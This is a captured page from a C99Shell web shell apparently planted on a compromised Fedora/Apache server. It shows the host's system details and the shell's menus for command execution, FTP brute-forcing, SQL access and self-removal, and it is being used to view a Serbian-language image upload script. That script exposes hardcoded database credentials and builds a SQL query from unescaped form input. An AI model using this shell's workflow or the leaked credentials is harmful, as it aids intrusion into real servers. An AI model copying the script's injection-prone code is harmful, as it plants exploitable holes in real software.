!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/novo.mnnews/   drwxr-xr-x
Free 4 GB of 27.03 GB (14.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addImage.php (1.58 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

<head>
<link rel="stylesheet" type="text/css" href="Themes/DeepWater/Style.css">
</head>
<body bgcolor="#39597b" link="#000000" alink="#ff0000" vlink="#000099" text="#ffffff" class="DeepWaterPageBODY">

<h2><center>Unesi novu sliku</center></h2>
<?

    
// code that will be executed if the form has been submitted:

if ($submit) {

    
// connect to the database
    // (you may have to adjust the hostname,username or password)

    
MYSQL_CONNECT("localhost","us10505a","proba");
    
mysql_select_db("db10505p");

    
$data = addslashes(fread(fopen($form_data, "r"), filesize($form_data)));

    
$result=MYSQL_QUERY("INSERT INTO images (description,bin_data,filename,filesize,filetype) ".
        
"VALUES ('$form_description','$data','$form_data_name','$form_data_size','$form_data_type')");

    
$id= mysql_insert_id();
    print
"<p>Fajl je unesen u bazu";

    
MYSQL_CLOSE();
    
   
?>
   <script type="text/javascript">
<!--
function shutDown() {
    self.close();
}
function init() {
    var timer = setInterval(shutDown, 2000);
}
onload = init;
//-->
</script>

<?

} else {

    
// else show the form to submit new data:
?>

    <form method="post" action="<?php echo $PHP_SELF; ?>" enctype="multipart/form-data">
    Naziv slike:<br>
    <input type="text" name="form_description"  size="30">
    <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="1000000">
    <br>Fajl sa slikom za unos:<br>
    <input type="file" name="form_data"  size="30">
    <p><input type="submit" name="submit" value="submit">
    </form>

<?php

}

?>
      

</body>



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0035 ]--